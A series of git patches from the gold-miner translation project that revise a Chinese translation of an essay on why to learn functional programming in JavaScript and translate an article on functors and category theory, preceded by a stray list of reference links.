+
+[1]:	https://blog.bobthedeveloper.io/swift-lazy-initialization-with-closures-a9ef6f6312c
+[2]:	https://blog.bobthedeveloper.io/@bobthedev
+[3]:	https://github.com/xitu/gold-miner
+[4]:	https://github.com/lsvih
+[5]:	https://boblee.typeform.com/to/oR9Nt2
+[6]:	https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564
+[7]:	https://juejin.im/post/58e4ac5d44d904006d2a9a19
+[8]:	https://blog.bobthedeveloper.io/no-fear-closure-in-swift-3-with-bob-72a10577c564
+[9]:	https://juejin.im/post/58e4ac5d44d904006d2a9a19
+[10]:	https://blog.bobthedeveloper.io/swift-capture-list-in-closures-e28282c71b95
+[11]:	https://boblee.typeform.com/to/oR9Nt2
+[12]:	http://amzn.to/2noHxgl
+[13]:	http://amzn.to/2noHxgl
+[14]:	https://github.com/bobthedev/Blog_Lazy_Init_with_Closures
+[15]:	https://twitter.com/SwiftAveiro
+[16]:	https://twitter.com/NSMyself
+[17]:	http://swiftaveiro.xyz
+[18]:	https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13
+[19]:	https://blog.bobthedeveloper.io/intro-to-swift-functional-programming-with-bob-9c503ca14f13
+[20]:	https://instagram.com/bobthedev
+[21]:	https://facebook.com/bobthedeveloper
+[22]:	https://github.com/xitu/gold-miner
+[23]:	https://juejin.im
+[24]:	https://github.com/xitu/gold-miner#android
+[25]:	https://github.com/xitu/gold-miner#ios
+[26]:	https://github.com/xitu/gold-miner#react
+[27]:	https://github.com/xitu/gold-miner#%E5%89%8D%E7%AB%AF
+[28]:	https://github.com/xitu/gold-miner#%E5%90%8E%E7%AB%AF
+[29]:	https://github.com/xitu/gold-miner#%E4%BA%A7%E5%93%81
+[30]:	https://github.com/xitu/gold-miner#%E8%AE%BE%E8%AE%A1
+[31]:	https://github.com/xitu/gold-miner

From 69bca85e75f4b99b33c193c21f577db93622ee8b Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Thu, 13 Apr 2017 00:20:55 +0800
Subject: [PATCH 140/638] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...amming-in-javascript-composing-software.md | 74 +++++++++----------
 1 file changed, 37 insertions(+), 37 deletions(-)

diff --git a/TODO/why-learn-functional-programming-in-javascript-composing-software.md b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
index 3203cee2ce5..c260bf55297 100644
--- a/TODO/why-learn-functional-programming-in-javascript-composing-software.md
+++ b/TODO/why-learn-functional-programming-in-javascript-composing-software.md
@@ -4,29 +4,29 @@
 > * 译者：
 > * 校对者：
 
-# 为什么用 JavaScript 学习函数式编程？（组成化软件）（第二部分）
+# 为什么用 JavaScript 学习函数式编程？（软件构建）（第二部分）
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
 烟雾的方块艺术 —MattysFlicks —(CC BY 2.0)
-> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 组成软件的第一部分。保持关注，接下来还有很多！
+> 注意：这是从基础学习函数式编程和使用 JavaScript ES6+ 撰写软件的第二部分。保持关注，接下来还有很多！
 >  [从第一部分开始](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) | [接下来的 >](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30#.2e4youss2)
 
-忘了你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。
+忘掉你认为知道的关于 JavaScript 的一切，用初学者的眼光去看待它。为了帮助你做到这一点，我们将会从头复习一下 JavaScript 的基础，就像你与其尚未谋面一样。如果你是初学者，那你就很幸运了。最终从零开始探索 ES6 和函数式编程！希望所有的概念都被解释清楚 — 但不要太依赖于此。
 
 如果你是已经熟悉 JavaScript 或者纯函数式语言的老开发者了，也许你会认为 JavaScript 是探索函数式编程有趣的选择。把这些想法放在一边，用更开放的思想接触它，你会发现 JavaScript 编程更高层次的东西。一些你从来不知道的东西。
 
-由于这个被称为“组成式软件”，同时函数式编程是明显的组成软件的方法（使用函数组合，高阶函数等等），你也许想知道为什么我不用 Haskell, ClojureScript,或者 Elm，而是 JavaScript。
+由于这个被称为“组合式软件”，同时函数式编程是明显的构建软件的方法（使用函数组合，高阶函数等等），你也许想知道为什么我不用 Haskell、ClojureScript,或者 Elm，而是 JavaScript。
 
 JavaScript 有函数式编程所需要的最重要的特性：
 
-1. **一级函数：**使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使局部应用、柯里化和组合成为可能。
-2. **匿名函数和简介的 lambda 语法：**`x => x * 2` 是 JavaScript 中有效的函数表达式。简介的 lambda 语法使得它更好的跟高阶函数合作。
-3. **闭包：**闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。闭包时使局部应用或者固定的参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。
+1. **一级公民函数：**使用函数作为数据值的能力：用函数传参，返回函数，用函数做变量和对象属性。这个属性允许更高级别的函数，使偏函数应用、柯里化和组合成为可能。
+2. **匿名函数和简洁的 lambda 语法：**`x => x * 2` 是 JavaScript 中有效的函数表达式。简洁的 lambda 语法使得高阶函数变的简单。
+3. **闭包：**闭包是一个有着自己独立作用域的捆绑函数。闭包在函数被创建时被创建。当一个函数在另一个函数内部被创建，它可以访问外部函数的变量，即使在外部函数退出后。通过闭包偏函数应用可以获取内部固定参数。固定的参数时绑定在返回函数的作用域范围内的参数。在 `add2(1)(2)` 中，`1` 是 `add2(1)` 返回的函数中的固定参数。
 
 ### JavaScript 缺少了什么
 
-JavaScript 是多范式语言，意味着它支持多种风格的编程。其他被 JavaScript 支持的风格包括过程式的（命令式）编程（比如 C），把函数看作可以被重复调用和组织的子程序指令；面向对象编程，对象 — 而不是函数 — 作为初始构造块；当然，还有函数式编程。多范式编程语言的劣性在于命令式和面向对象往往意味着所有东西都是可变的。
+JavaScript 是多范式语言，意味着它支持多种风格的编程。其他被 JavaScript 支持的风格包括过程式（命令式）编程（比如 C），把函数看作可以被重复调用和组织的子程序指令；面向对象编程，对象— 而不是函数— 作为初始构造块；当然，还有函数式编程。多范式编程语言的劣性在于命令式和面向对象往往意味着所有东西都是可变的。
 
 可变性指的是数据结构上的变化。比如：
 	
@@ -34,68 +34,68 @@ JavaScript 是多范式语言，意味着它支持多种风格的编程。其他
 	  bar: 'baz'
 	};
 
-	foo.bar = 'qux'; // mutation
+	foo.bar = 'qux'; // 改变
 
 对象通常需要可变性以便于被方法更新值，在命令式的语言中，大部分的数据结构可变以便于数组和对象的高效操作。
 
 下面是一些函数式语言拥有但是 JavaScript 没有的特性：
 
 1. **纯粹性：**在一些函数式语言中，纯粹性是强制的，有副作用的表达式是不被允许的。
-2. **不可变性：**一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够搞笑，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。
+2. **不可变性：**一些函数式语言不允许转变，采用表达式来产生新的数据结构来代替更改一个已存的数据结构，比如说数组或者对象。这样看起来可能不够高效，但是大多数函数式语言在引擎下使用 trie 数据结构，具有结构共享的特点：意味着旧的对象和新的对象是对相同数据的引用。
 3. **递归：**递归是函数引用自身来进行迭代的能力。在大多数函数式语言中，递归是迭代的唯一方式，它们没有像 `for` 、`while`、`do` 这类循环语句。
 
 **纯粹性：**在 JavaScript 中，纯粹性由约定来达成，如果你不是使用纯函数来构成你的大多数应用，那么你就不是在进行函数式风格的编程。很不幸，在 JavaScript 中，你很容易就会不小心创建和使用一些不纯的函数。
 
-**不可变性：**在纯函数式语言中，可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是又一些你可以使用的库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，真是期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。
+**不可变性：**在纯函数式语言中，不可变性通常是强制的，JavaScript 缺少函数式语言中高效的、基于 trie 树的数据结构，但是你可以使用一些库，包括 [Immutable.js](https://facebook.github.io/immutable-js/) 和 [Mori](https://github.com/swannodette/mori)，由衷期望未来的 ECMAScript 规范版本可以拥抱不可变数据结构。
 
-有一些未来的迹象，比如说在 ES6 中添加了 `const` 关键字，`const` 声明的变量不能被重新赋值，知道 `const` 并不实际代表不可改变的值也很重要。
+有一些迹象带来了希望，比如说在 ES6 中添加了 `const` 关键字，`const` 声明的变量不能被重新赋值，重要的是要理解 `const` 所声明的值并不是不可改变的。
 
-`const` 声明的对象不能被重新声明为新的对象，但是对象的属性却是可变的，JavaScript 有 `freeze()` 对象的能力，但是这些对象只能在根实例上被冻结，意味着嵌套着的对象还是可以改变它的属性。换句话说，在 JavaScript 规范中看到真正的不可变还有很多路要走。
+`const` 声明的对象不能被重新声明为新的对象，但是对象的属性却是可变的，JavaScript 有 `freeze()` 对象的能力，但是这些对象只能在根实例上被冻结，意味着嵌套着的对象还是可以改变它的属性。换句话说，在 JavaScript 规范中看到真正的不可变还有很长的路要走。
 
-**递归：**JavaScript 支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。
+**递归：**JavaScript 技术上支持递归，但是大多数函数式语言都有尾部调用优化的特性，尾部调用优化是一个允许递归的函数重用堆栈帧来递归调用的特性。
 
-没有尾部调用优化，一个调用的栈很可能没有边界导致堆栈溢出。JavaScript 在 ES6 规范中有一个有限的尾部调用优化。不幸的是，只有一个主要的浏览器引擎支持它，这个优化被部分应用随后从 Babel(最流行的 JavaScript 编译器，在旧的浏览器中被用来把 ES6 编译到 ES5)。
+没有尾部调用优化，一个调用的栈很可能没有边界导致堆栈溢出。JavaScript 在 ES6 规范中有一个有限的尾调用优化。不幸的是，只有一个主要的浏览器引擎支持它，这个优化被部分应用随后从 Babel(最流行的 JavaScript 编译器，在旧的浏览器中被用来把 ES6 编译到 ES5) 中移除。
 
-最后一行：现在使用递归来作为大的迭代还不是很安全 — 即使你很小心的调用尾部的函数。
+最重要的事实：现在使用递归来作为大的迭代还不是很安全 — 即使你很小心的调用尾部的函数。
 
-### 什么又是 JavaScript 所有但是纯函数式语言没有的
+### 什么又是 JavaScript 拥有但是纯函数式语言缺乏的
 
-一个纯粹主义者会告诉你 JavaScript 的可变性是它的重要缺点，这是事实。但是，引起的副作用和改变有时候很有用。事实上，不可能在规避所有副作用的情况下开发有用的现代应用。纯函数式语言比如说 Haskell 使用副作用，但是使用 monads 包来伪装纯函数，从而使程序保持纯净，尽管用 monads 所带来的副作用是不纯净的。
+一个纯粹主义者会告诉你 JavaScript 的可变性是它的重大缺点，这是事实。但是，引起的副作用和改变有时候很有用。事实上，不可能在规避所有副作用的情况下开发有用的现代应用。纯函数式语言比如说 Haskell 使用副作用，使用 monads 包将有副作用的函数伪装成纯函数，从而使程序保持纯净，尽管用 Monads 所带来的副作用是不纯净的。
 
-monads 的问题是，尽管它的使用很简单，但是对一个不是很熟悉它的人解释清楚它有点像对牛谈琴。
+Monads 的问题是，尽管它的使用很简单，但是对一个不是很熟悉它的人解释清楚它有点像“对牛谈琴”。
 
-> “monad 是 endofunctor 范畴的幺半群，有什么问题？” ～James Iry 所引用 Philip Wadler的话，解释一个 Saunders Mac Lane 说过的名言。[*“A Brief, Incomplete, and Mostly Wrong History of Programming Languages”*](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
+> “Monad说白了不过就是自函子范畴上的一个幺半群而已，这有什么难以理解的?” ～James Iry 所引用 Philip Wadler 的话，解释一个 Saunders Mac Lane 说过的名言。[*“编程语言简要、不完整之黑历史”*](http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html)
 
-典型的，这是在调侃这有趣的一点。在上面的引用中，关于 monads 的解释相比最初的有了很大的简化，原来是下面这样：
+典型的，这是在调侃这有趣的一点。在上面的引用中，关于 Monads 的解释相比最初的有了很大的简化，原来是下面这样：
 
 > “`X` 中的 monad 是其 endofunctor 范畴的幺半群，生成 endofunctor 和被 endofunctor 单位 set 组合所代替的 `X` ” ~ Saunders Mac Lane。 [*"Categories for the Working Mathematician"*](https://www.amazon.com/Categories-Working-Mathematician-Graduate-Mathematics/dp/0387984038//ref=as_li_ss_tl?ie=UTF8&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=de6f23899da4b5892f562413173be4f0)
 
-尽管这样，在我的观点看来，害怕 monads 是没有必要的，学习 monads 最好的方法不是去读关于它的一堆书和博客，而是立刻去使用它。对于大部分的函数式编程语言来说，晦涩的学术词汇比它实际概念难的多，相信我，你不必通过了解 Saunders Mac Lane 来了解函数式编程。
+尽管这样，在我的观点看来，害怕 Monads 是没有必要的，学习 Monads 最好的方法不是去读关于它的一堆书和博客，而是立刻去使用它。对于大部分的函数式编程语言来说，晦涩的学术词汇比它实际概念难的多，相信我，你不必通过了解 Saunders Mac Lane 来了解函数式编程。
 
-尽管它不是对所有的编程风格都完全的理想，JavaScript 无疑是作为适应各种编程风格和背景的人的通用编程语言被设计出来的。
+尽管它不是对所有的编程风格都绝对完美，JavaScript 无疑是作为适应各种编程风格和背景的人的通用编程语言被设计出来的。
 
 根据 [Brendan Eric](https://brendaneich.com/2008/04/popularity/) 所言，在一开始的时候，网景公司就有意适应两类开发者：
 
 > “...写组件的，比如说 C++ 或者 Java；写脚本的、业余的和爱好者，比如直接写嵌在 HTML 里的代码的。”
 
-最初，网景公司的意向是支持两种不同的语言，同时脚本语言大致要像 Scheme (一个 Lisp 的方言)，而且，Brendan Eich：
+本来，网景公司的意向是支持两种不同的语言，同时脚本语言大致要像 Scheme (一个 Lisp 的方言)，而且，Brendan Eich：
 
 > “我被招聘到网景公司，目的是在浏览器中 **做一些 Scheme**”。
 
 JavaScript 应当是一门新的语言：
 
-> “上面工程管理的命令是这门语言**应当像 Java**，这就排除了 Perl，Python，和 Tcl，以及 Scheme。”
+> “上级工程管理的命令是这门语言**应当像 Java**，这就排除了 Perl，Python，和 Tcl，以及 Scheme。”
 
 所以，Brendan Eich 最初脑子里的想法是：
 
 1. 浏览器中的 Scheme。
 2. 看起来像 Java。
 
-最终的结果稍微有点复杂：
+它最终更像是个大杂烩：
 
->“我不骄傲，但我很高兴我选择了 Scheme 的一类函数和 Self（尽管奇怪）的原型作为主要的元素。”由于 Java 的影响，特别是 y2k 的 Date 问题以及对象的区别（比如string 和 String），就不幸了。”
+>“我不骄傲，但我很高兴我选择了 Scheme 的一类函数和 Self（尽管奇怪）的原型作为主要的元素。”由于 Java 的影响，特别是 y2k 的 Date 问题以及对象的区别（比如 string 和 String），就不幸了。”
 
-我列出了这些 “不好的” 的类 Java 特性，最后转换成 JavaScript:
+我列出了这些 “不好的” 的类 Java 特性，最后整理成 JavaScript:
 
 * 构造函数和 `new` 关键子，跟工厂函数有着不同的调用和使用语义。
 * `class` 的关键字和单一父类 `extends` 作为最初的继承机制。
@@ -107,31 +107,31 @@ JavaScript 应当是一门新的语言：
 
 我们最终创作了一个直接被浏览器支持的语言：JavaScript。
 
-那意味着浏览器可以减少臃肿和问题，因为它们现在只需要支持一种语言：JavaScript。你也许认为 WebAssembly 是异常，但是 WebAssembly 设计之初的目的是使用兼容的抽象语法树来共享JavaScript的语言绑定（AST）。事实上，最早的把 WebAssembly 编译成 JavaScript 的子集的示范是 ASM.js。
+那意味着浏览器可以减少臃肿和问题，因为它们现在只需要支持一种语言：JavaScript。你也许认为 WebAssembly 是例外，但是 WebAssembly 设计之初的目的是使用兼容的抽象语法树来共享 JavaScript 的语言绑定（AST）。事实上，最早的把 WebAssembly 编译成 JavaScript 的子集的示范是 ASM.js。
 
 作为 web 平台唯一的通用标准编程语言，JavaScript 在软件历史潮流中乘风直上：
 
 App 吞食世界， web 吞食 app， 同时 JavaScript 吞食 web。
 
-根据[各方](http://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/)[调查](http://stackoverflow.com/research/developer-survey-2016)，[JavaScript](https://octoverse.github.com/)是目前世界上最流行的语言。
+根据[多个平台](http://redmonk.com/sogrady/2016/07/20/language-rankings-6-16/)[调查](http://stackoverflow.com/research/developer-survey-2016)，[JavaScript](https://octoverse.github.com/) 是目前世界上最流行的语言。
 
-JavaScript 并不是函数式编程的理想化工具，但是它却是为大型的分布式的团队开发大型应用的好工具，因为不同的团队也许有不同建立应用的想法。
+JavaScript 并不是函数式编程的理想化工具，但是它却是为大型的分布式的团队开发大型应用的好工具，因为不同的团队对于如何构建一个应用或许有不同的看法。
 
 一些团队致力于脚本化，那么命令式的编程就特别有用，另外一些更精于抽象架构，那么一点保留的面向对象方法也许不失为坏。还有一些拥抱函数式编程，使用纯函数来确保稳定性、可测试性和项目状态管理以便减少用户的反馈。团队里的这些人可以使用相同的语言，意味着他们可以更好的交换想法，互相学习和在其他人的基础上更进一步的开发。
 
 在 JavaScript 中，所有这些想法可以共存，这样就让更多的人开始拥抱 JavaScript，然后就产生了[世界上最大的开源包管理器](http://www.modulecounts.com/) (2017 年 2 月)，[npm](https://www.npmjs.com/)。
 
-JavaScript 的真正优势在于其生态系统中的思想和用户的多样性。它也许不是纯函数式编程的理想语言，但它是你可以想象的工作在不同平台的人共同合作的理想语言，比如说 Java、Lisp 或者 C。JavaScript 也许对这些有这些背景的用户完全友好，但是这些人很乐意学习这门语言并迅速投入生产。
+JavaScript 的真正优势在于其生态系统中的思想和用户的多样性。它也许不是纯函数式编程最理想的语言，但它是你可以想象的工作在不同平台的人共同合作的理想语言，比如说 Java、Lisp 或者 C。JavaScript 也许并不对有这些背景的用户完全友好，但是这些人很乐意学习这门语言并迅速投入生产。
 
-我同意 JavaScript 并不是函数式编程着最好的语言。但是，没有任何其他语言可以声称他们可以被所有人使用，同时正如 ES6 所述：JavaScript 可以满足到更与喜欢函数式编程的人的需要，同时也越来越好。相比于抛弃 JavaScript 和它不可思议的被世界上所有公司使用的生态系统，为什么不拥抱它，把它变成一个更适合软件组成化的语言？
+我同意 JavaScript 并不是对函数式编程者最好的语言。但是，没有任何其他语言可以声称他们可以被所有人使用，同时正如 ES6 所述：JavaScript 可以满足到更与喜欢函数式编程的人的需要，同时也越来越好。相比于抛弃 JavaScript 和世界上几乎每家公司都使用的令人难以置信的生态系统，为什么不拥抱它，把它变成一个更适合软件组合化的语言？
 
-现在，JavaScript 已经是一门足够优秀的函数式编程语言，意味着人们可以使用 JavaScript 的函数式编程方法来构造所有有趣的和有用的东西。Netflix（和其他使用 Angular 2+ 的应用）使用基于 RxJS 的函数式功能。[Facebook](https://github.com/facebook/react/wiki/sites-using-react)在 React 中使用纯函数、高阶函数和高级组件来开发 Facebook 和 Instagram，[PayPal, KhanAcademy, and Flipkart](https://github.com/reactjs/redux/issues/310)使用 Redux 来进行状态管理。
+现在，JavaScript 已经是一门**足够优秀**的函数式编程语言，意味着人们可以使用 JavaScript 的函数式编程方法来构造很多有趣的和有用的东西。Netflix（和其他使用 Angular 2+ 的应用）使用基于 RxJS 的函数式功能。[Facebook](https://github.com/facebook/react/wiki/sites-using-react)在 React 中使用纯函数、高阶函数和高级组件来开发 Facebook 和 Instagram，[PayPal、KhanAcademy、和Flipkart](https://github.com/reactjs/redux/issues/310)使用 Redux 来进行状态管理。
 
-它们并不孤单：Angular、React、Redux 和 Lodash 是 JavaScript 生态系统中主要的框架和库，同时它们都被函数式编程很深的影响到 — 或者在 Lodash 和 Redux中，明确的表达是为了在实际的 JavaScript 应用中使用函数式编程模式。
+它们并不孤单：Angular、React、Redux 和 Lodash 是 JavaScript 生态系统中主要的框架和库，同时它们都被函数式编程很深的影响到— 在 Lodash 和 Redux 中，明确地表达是为了在实际的 JavaScript 应用中使用函数式编程模式。
 
-“为什么是 JavaScript?”因为实际上所有的软件呢公司用来开发软件的语言。无论如何，JavaScript 从 Lisp 这个数十年来的标志头上偷取了 “最受欢迎的函数式编程语言” 的头衔。事实上，Haskell 更适合当今函数式编程概念的标准，但是人们并不使用它来开发实际应用。
+“为什么是 JavaScript?”因为 JavaScript 是实际上大多数公司开发真实的软件所使用的语言。无论你对它是爱是恨，JavaScript 已经取代了 Lisp 这个数十年来 “最受欢迎的函数式编程语言”。事实上，Haskell 更适合当今函数式编程概念的标准，但是人们并不使用它来开发实际应用。
 
-在任何时候，在美国都有一百万的 JavaScript 工作需求，世界其他地方也有数百万的量。学习 Haskell 可以帮助你很好的学习函数式编程，但学习 JavaScript 将会教会你在实际工作中开发应用。
+在任何时候，在美国都有近十万的 JavaScript 工作需求，世界其他地方也有数十万的量。学习 Haskell 可以帮助你很好的学习函数式编程，但学习 JavaScript 将会教会你在实际工作中开发应用。
 
 App 正在吞食世界， web 正在吞食 app， 同时 JavaScript 正在吞食 web。
 

From c019bf6346020a777f1149e030de6607bf819294 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E5=90=B4=E6=99=93=E5=86=9B?= <woo@softshot.local>
Date: Thu, 13 Apr 2017 00:42:01 +0800
Subject: [PATCH 141/638] functors & category

---
 TODO/functors-categories.md | 173 ++++++++++++++++++------------------
 1 file changed, 88 insertions(+), 85 deletions(-)

diff --git a/TODO/functors-categories.md b/TODO/functors-categories.md
index a5b81f432c4..31ee4219b6f 100644
--- a/TODO/functors-categories.md
+++ b/TODO/functors-categories.md
@@ -1,120 +1,121 @@
 > * 原文地址：[Functors & Categories](https://medium.com/javascript-scene/functors-categories-61e031bac53f)
 > * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[yoyoyohamapi](https://github.com/yoyoyohamapi) [reid3290](https://github.com/reid3290)
 > * 校对者：
 
-# Functors & Categories #
-
-## Composable Software ##
+# Functor 与 Category （软件编写）（第五部分）#
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg">
 
-Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)
-> Note: This is part of the “Composing Software” series on learning functional programming and compositional software techniques in JavaScript ES6+ from the ground up. Stay tuned. There’s a lot more of this to come!
-> [< Previous](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< Start over at Part 1](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe) 
+Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0) （译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。））
+
+> 注意：这是 “软件编写” 系列文章的第四部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！
+> [<上一篇](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.w4y0mlpcs) | [<< 返回第一章](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.2dfd6n6qe)
 
-A **functor** is something that can be mapped over. In other words, it’s a container which has an interface which can be used to apply a function to the values inside it. When you see the word functor, you should think *“mappable”.*
+所谓 **functor（函子）**，是能够对其进行 map 操作的对象。换言之，**functor** 可以被认为是一个容器，该容器容纳了一个值，并且暴露了一个接口（译注：即 map 接口），该接口使得外界的函数能够操纵容器中的值。所以当你见到 **functor**，别被其来自范畴学的名字唬住，简单把他当做个 *“mappable”* 对象就行。
 
-The term “functor” comes from category theory. In category theory, a functor is a mapping between categories. Loosely, a **category** is a group of things, where each “thing” can be any value. In code, a functor is sometimes represented as an object with a `.map()` method that maps from one set of values to another.
+**“functor”** 一词源于范畴学。在范畴学中，一个 functor 代表了两个范畴（category）间的映射。简单说来，一个 **范畴** 是一系列事物的分组，这里的 “事物” 可以指代一切的值。对于编码来说，一个 functor 通常代表了一个具有 `.map()` 方法的对象，该方法能够将某一集合映射到另一集合。
 
-A functor supplies a box with zero or more things inside, and a mapping interface. An array is a good example of a functor, but many other kinds of objects can be mapped over as well, including single valued-objects, streams, trees, objects, etc…
+上文说到，一个 functor 可以被看做是一个容器，比如我们将其看做是一个盒子，盒子里面容纳了一些事物，或者空空如也，最重要的是，盒子暴露了一个 mapping（映射）接口。在 JavaScript 中，数组对象就是 functor 的绝佳例子（译注：`[1,2,3].map(x => x + 1)`），但是，其他类型的对象，只要能够被 map 操作，也可以算作是 functor，这些对象包括了单值对象（single valued-objects），流（streams），树（trees），对象（objects）等等。
 
-For collections (arrays, streams, etc…), `.map()` typically iterates over the collection and applies the given function to each value in the collection, but not all functors iterate.
+对于如数组和流这样的集合（collections）来说，`.map()` 方法指的是，在集合上进行迭代操作，在此过程中，应用一个预先指定的函数对每次迭代到的值进行处理。但是，不是所有的 functor 都可以被迭代。
 
-In JavaScript, Arrays and Promises are functors (`.then()` obeys the functor laws), but lots of libraries exist that will turn a variety of other things into functors, too.
+在 JavaScript 中，数组和 Promise 对象都是 **functor**（Promise 对象虽然没有 `.map()` 方法，但其 `.then()` 方法也遵从 functor 的定律），除此之外，非常多的第三方库也能够将各种各样的一般事物给转换成 functor（译注：大名鼎鼎的 [Bluebird](https://github.com/petkaantonov/bluebird/) 就能将异步过程封装为 Promise functor）。
 
-In Haskell, the functor type is defined as:
+在 Haskell 中，functor 类型被定义为如下形式：
 
 ```
 fmap :: (a -> b) -> f a -> f b
 ```
 
-Given a function that takes an `a` and returns a `b` and a functor with zero or more `a`s inside it: `fmap` returns a box with zero or more `b`s inside it. The `f a` and `f b` bits can be read as “a functor of `a`” and “a functor of `b`”, meaning `f a` has `a`s inside the box, and `f b` has `b`s inside the box.
+fmap 接受一个函数参数，该函数接受一个参数 `a`，并返回一个 `b`，最终，fmap 完成了从 `f a` 到 `f b` 的映射。`f a` 及 `f b` 可以被读作 “一个 `a` 的 functor” 和“一个 `b` 的 functor”，亦即 `f a` 这个盒子容纳了 `a`，`f b` 这个盒子容纳了 `b`。
 
-Using a functor is easy — just call `map()`:
+使用一个 functor 是非常简单的，仅需要调用 `map()` 方法即可：
 
 ```
 const f = [1, 2, 3];
 f.map(double); // [2, 4, 6]
 ```
 
-### Functor Laws ###
+### Functor 定律 ###
 
-Categories have two important properties:
+一个范畴含有两个基本的定律：
 
-1. Identity
-2. Composition
+1. 同一性（Identity）
+2. 组合性（Composition）
 
-Since a functor is a mapping between categories, functors must respect identity and composition. Together, they’re known as the functor laws.
+由于 functor 是两个范畴间的映射，其就必须遵守同一性和组合性，二者也构成了 functor 的基本定律。
 
-### Identity ###
+### 同一性 ###
 
-If you pass the identity function (`x => x`) into `f.map()`, where `f` is any functor, the result should be equivalent to (have the same meaning as) `f`:
+如果你将函数（`x => x`）传入 `f.map()`，并且，`f` 是任意的一个 functor，那么 `f.map()` 执行结果就等于 `f`。
 
 ```
 const f = [1, 2, 3];
 f.map(x => x); // [1, 2, 3]
 ```
 
-### Composition ###
+### 组合性 ###
 
-Functors must obey the composition law: `F.map(x => f(g(x)))` is equivalent to `F.map(g).map(f)`.
+functor 还必须具有组合性：`F.map(x => f(g(x))) == F.map(g).map(f)`
 
-Function Composition is the application of one function to the result of another, e.g., given an `x` and the functions, `f` and `g`, the composition `(f ∘ g)(x)` (usually shortened to `f ∘ g` - the `(x)` is implied) means `f(g(x))`.
+函数组合是将一个函数的输出作为另一个函数输入的过程。例如，给定一个值 `x`及函数 `f` 和函数 `g`，函数的组合就是 `(f ∘ g)(x)`（通常简写为 `f ∘ g`，简写形式已经暗示了 `(x)`），其意味着 `f(g(x))`。
 
-A lot of functional programming terms come from category theory, and the essence of category theory is composition. Category theory is scary at first, but easy. Like jumping off a diving board or riding a roller coaster. Here’s the foundation of category theory in a few bullet points:
+很多函数式编程的术语都源于范畴学，而范畴学的实质即是组合。初看范畴学，就像初次进行高台跳水或者乘坐过山车，慌张，恐惧，但是并不难完成。你只需明确下面几个范畴学基础要点：
 
-- A category is a collection of objects and arrows between objects (where “object” can mean literally anything).
-- Arrows are known as morphisms. Morphisms can be thought of and represented in code as functions.
-- For any group of connected objects, `a -> b -> c`, there must be a composition which goes directly from `a -> c`.
-- All arrows can be represented as compositions (even if it’s just a composition with the object’s identity arrow). All objects in a category have identity arrows.
+- 一个范畴（category）是一个容纳了一系列对象及对象间箭头（`->`）的集合。
+- 箭头只是形式上的描述，实际上，箭头代表了态射（morphismms）。在编程中，态射可以被认为是函数。
+- 对于任何被箭头相连接的对象，如 `a -> b -> c`，必须存在一个 `a -> c ` 的组合。
+- 所有的箭头表示都代表了组合（即便这个对象间的组合只是一个同一（identity）箭头：`a->c`）。所有的对象都存在一个同一箭头，即存在同一态射（`a -> a`）。
 
